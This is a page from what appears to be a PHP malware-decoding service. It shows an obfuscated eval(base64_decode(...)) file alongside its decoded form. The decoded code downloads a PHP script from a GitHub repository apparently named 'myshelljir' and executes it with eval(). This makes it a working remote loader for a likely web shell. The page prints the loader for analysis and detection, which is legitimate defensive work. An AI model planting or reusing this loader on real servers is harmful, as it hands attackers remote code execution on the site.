Decoded Output
Downloadgoto O12680581497472; O91342934900310: $O11038481656442 = curl_exec($O73275874349370); goto O80476265360124; O33001800138482: curl_setopt($O73275874349370, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; PHP Script)"); goto O91342934900310; O86442496516843: curl_setopt($O73275874349370, CURLOPT_RETURNTRANSFER, true); goto O25472624203175; O06864878549448: curl_setopt($O73275874349370, CURLOPT_TIMEOUT, 20); goto O33001800138482; O89337120973309: curl_setopt($O73275874349370, CURLOPT_URL, $O01616423619310); goto O86442496516843; O11232530177455: O12096024532299: goto O51601400109451; O69252899717275: $O11038481656442 = @file_get_contents($O01616423619310); goto O51034864830449; O61238436784502: eval("?>{$O11038481656442}"); goto O01741181270705; O89572796177646: $O73275874349370 = curl_init(); goto O89337120973309; O03209023740462: O27008463729256: goto O61238436784502; O39264639112591: goto O78179071973653; goto O03209023740462; O04243508572114: echo "Gagal memuat kode dari URL."; goto O39264639112591; O80476265360124: curl_close($O73275874349370); goto O11232530177455; O25472624203175: curl_setopt($O73275874349370, CURLOPT_FOLLOWLOCATION, true); goto O26625153619383; O12680581497472: $O01616423619310 = "https://raw.githubusercontent.com/xnightr00t/myshelljir/refs/heads/main/wp-remote-opml.php"; goto O69252899717275; O51601400109451: if ($O11038481656442 !== false && !empty($O11038481656442)) { goto O27008463729256; } goto O04243508572114; O26625153619383: curl_setopt($O73275874349370, CURLOPT_CONNECTTIMEOUT, 10); goto O06864878549448; O51034864830449: if (!($O11038481656442 === false || empty($O11038481656442))) { goto O12096024532299; } goto O89572796177646; O01741181270705: O78179071973653:
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
| base64_decode | 1 |
|---|
Variables
None
Stats
| MD5 | 0c333cabd76e935f |
|---|---|
| Eval Count | 1 |
| Decode Time | 129 ms |
Original Code
<?php
eval(base64_decode('Z290byBPMTI2ODA'.'1ODE0OTc0NzI7IE85'.'MTM0Mjkz'.'NDkwMDMxMDogJE8xMT'.'AzODQ4MTY1NjQ0MiA'.'9IGN1cmxfZXh'.'lYygkTzczMjc1ODc0MzQ5'.'MzcwKTsgZ290byBPODA'.'0NzYyNjUzNjAxM'.'jQ7IE8zMzAwMT'.'gwMDEzODQ4Mj'.'ogY3VybF9zZXRvcHQoJE'.'83MzI3NTg3NDM0OTM3MC'.'wgQ1VSTE9QVF9V'.'U0VSQUdFTlQ'.'sICJcMTE1XHg2Zlx4'.'N2FcMTUxXHg2Y1x4NmN'.'cMTQxXDU3XDY1XDU2XD'.'YwXDQwXDU'.'wXHg2M1x4NmZcMTU1XHg3'.'MFx4NjFceDc0XHg'.'2OVwxNDJceDZjXDE0NVw3M'.'1w0MFwxMjBceD'.'Q4XDEyMFx4MjBceD'.'UzXDE0M1x4NzJcMTUx'.'XDE2MFwxNjRcNTEiKTsgZ290'.'byBPOTEzNDI5Mz'.'Q5MDAzMTA7IE84NjQ0M'.'jQ5NjUxNjg0MzogY3Vy'.'bF9zZXRvcH'.'QoJE83MzI3NT'.'g3NDM0OTM3MCwgQ1VSTE'.'9QVF9SRVRVUk5UUkFOU0ZFUi'.'wgdHJ1ZSk7IGdvdG8gTzI'.'1NDcyNjI0MjAzMTc1OyB'.'PMDY4NjQ4Nzg1NDk0ND'.'g6IGN1cmx'.'fc2V0b3B0KCRPNzM'.'yNzU4NzQzNDk'.'zNzAsIENVUkxPUFRfVElN'.'RU9VVCwgMjApOyBnb3RvIE'.'8zMzAwMTgwMDEzOD'.'Q4MjsgTzg5'.'MzM3MTIwOTczMzA5O'.'iBjdXJsX3NldG'.'9wdCgkTzczMjc1ODc0MzQ5Mz'.'cwLCBDVVJM'.'T1BUX1VSTCwgJE8'.'wMTYxNjQyMzYxOTMxMCk7IGd'.'vdG8gTzg2NDQy'.'NDk2NTE2OD'.'QzOyBPMTEyMzI1M'.'zAxNzc0NTU6IE8x'.'MjA5NjAyND'.'UzMjI5OTogZ290by'.'BPNTE2MDE0MDAxMDk0N'.'TE7IE82OTI1Mjg5OTcxNzI3N'.'TogJE8xMTAzODQ4MTY1'.'NjQ0MiA9IEBmaWxlX2dld'.'F9jb250ZW50cygkTzAxNjE2N'.'DIzNjE5MzEwKTsgZ290byBPN'.'TEwMzQ4NjQ4Mz'.'A0NDk7IE82MTIzODQ'.'zNjc4NDUwMj'.'ogZXZhbCgiXDc3XHg'.'zZXskTzExMDM'.'4NDgxNjU2NDQyfSIpOy'.'Bnb3RvIE8wMT'.'c0MTE4MTI3MDcwNTsgTzg5'.'NTcyNzk2MTc3NjQ2OiA'.'kTzczMjc1ODc0MzQ5MzcwI'.'D0gY3VybF9pbml0KCk7IGd'.'vdG8gTzg5'.'MzM3MTIwOTcz'.'MzA5OyBPMDMyMDk'.'wMjM3NDA0NjI6IE8yNzAwO'.'DQ2MzcyOTI1NjogZ2'.'90byBPNjEy'.'Mzg0MzY3ODQ1'.'MDI7IE8zOTI2NDYzOTExM'.'jU5MTogZ290byBPNzgxNz'.'kwNzE5NzM2NTM7I'.'GdvdG8gTzAzMjA'.'5MDIzNzQwNDYyOyBPMDQy'.'NDM1MDg1NzIxMTQ6IGVjaG'.'8gIlx4NDdcMTQxXH'.'g2N1x4NjFceDZjXHgyMFx'.'4NmRceDY1XDE1NVwx'.'NjVceDYxXDE2NFw0MF'.'wxNTNceDZmXHg2NFx4NjVcN'.'DBceDY0X'.'DE0MVwxNjJceDY5XDQwXH'.'g1NVx4NTJceDRjXHgy'.'ZSI7IGdvdG8g'.'TzM5MjY0Nj'.'M5MTEyNTkxOyBPODA0'.'NzYyNjUzNjAxMjQ6IGN1cmx'.'fY2xvc2UoJ'.'E83MzI3NTg3NDM0OTM3MCk7'.'IGdvdG8gTz'.'ExMjMyNTMwMT'.'c3NDU1OyBPMjU'.'0NzI2MjQyMDMxNzU6IGN1cmx'.'fc2V0b3B0K'.'CRPNzMyNzU4NzQzND'.'kzNzAsIENVUkxPUFRfRk9MT'.'E9XTE9DQVRJT04sIHRydWU'.'pOyBnb3RvIE8yNj'.'YyNTE1MzYxOTM4Mz'.'sgTzEyNj'.'gwNTgxNDk3NDcyOi'.'AkTzAxNjE2NDIzN'.'jE5MzEwID0gIlwx'.'NTBceDc0XHg3NFwxNjBceDc'.'zXDcyXDU3XD'.'U3XDE2Mlx4NjFcMTY3XHgyZV'.'x4NjdcMTUx'.'XDE2NFwxNTBcM'.'TY1XHg2MlwxNjVcMTYzXDE0'.'NVx4NzJceDYzXHg'.'2ZlwxNTZc'.'eDc0XHg2NVx4NmVcMTY0XDU'.'2XHg2M1x4NmZcMTU1XDU3'.'XDE3MFx4'.'NmVceDY5XDE0N'.'1x4NjhcMTY0'.'XDE2Mlx4MzBc'.'eDMwXHg3N'.'Fw1N1wxNTVcMTcxXDE2M1x4'.'NjhcMTQ1XDE1NFwxNTRceDZh'.'XHg2OVx4NzJcNTdceD'.'cyXDE0NVx4'.'NjZcMTYzXHgyZlx4Nj'.'hcMTQ1XHg2MVwxNDRcMTY'.'zXDU3XHg2ZFx4N'.'jFcMTUxX'.'Hg2ZVw1N1x4NzdceDc'.'wXDU1XHg3MlwxNDVcMTU1XH'.'g2Zlx4NzRceDY1XDU1XD'.'E1N1wxNjBceDZk'.'XDE1NFw1Nlx4'.'NzBceDY4XDE2M'.'CI7IGdvdG8gTzY5Mj'.'UyODk5NzE3Mjc1O'.'yBPNTE2MDE0M'.'DAxMDk0NTE6IGlmICgkTz'.'ExMDM4ND'.'gxNjU2NDQyIC'.'E9PSBmYWxzZSAmJiAhZW1wd'.'HkoJE8xMTAzOD'.'Q4MTY1NjQ0MikpI'.'HsgZ290byBPMj'.'cwMDg0NjM3MjkyN'.'TY7IH0gZ290'.'byBPMDQyNDM'.'1MDg1NzIxMTQ7I'.'E8yNjYyN'.'TE1MzYxOT'.'M4MzogY3VybF9zZX'.'RvcHQoJE83Mz'.'I3NTg3NDM0OTM3MCw'.'gQ1VSTE9QVF'.'9DT05ORUNUVElNRU9'.'VVCwgMTApOy'.'Bnb3RvIE8wNjg2NDg3ODU0'.'OTQ0ODsgTzUxMDM0O'.'DY0ODMwNDQ5OiBpZiAoISg'.'kTzExMDM4NDgxNjU2NDQyID'.'09PSBmYWxzZSB'.'8fCBlbXB0eSgk'.'TzExMDM4NDgx'.'NjU2NDQyKSkpIHsgZ290by'.'BPMTIwOTYw'.'MjQ1MzIyOTk7IH0gZ290b'.'yBPODk1NzI3OTYx'.'Nzc2NDY7IE8wMTc0MTE4M'.'TI3MDcwNTogTzc4M'.'Tc5MDcxOT'.'czNjUzOg=='));
?>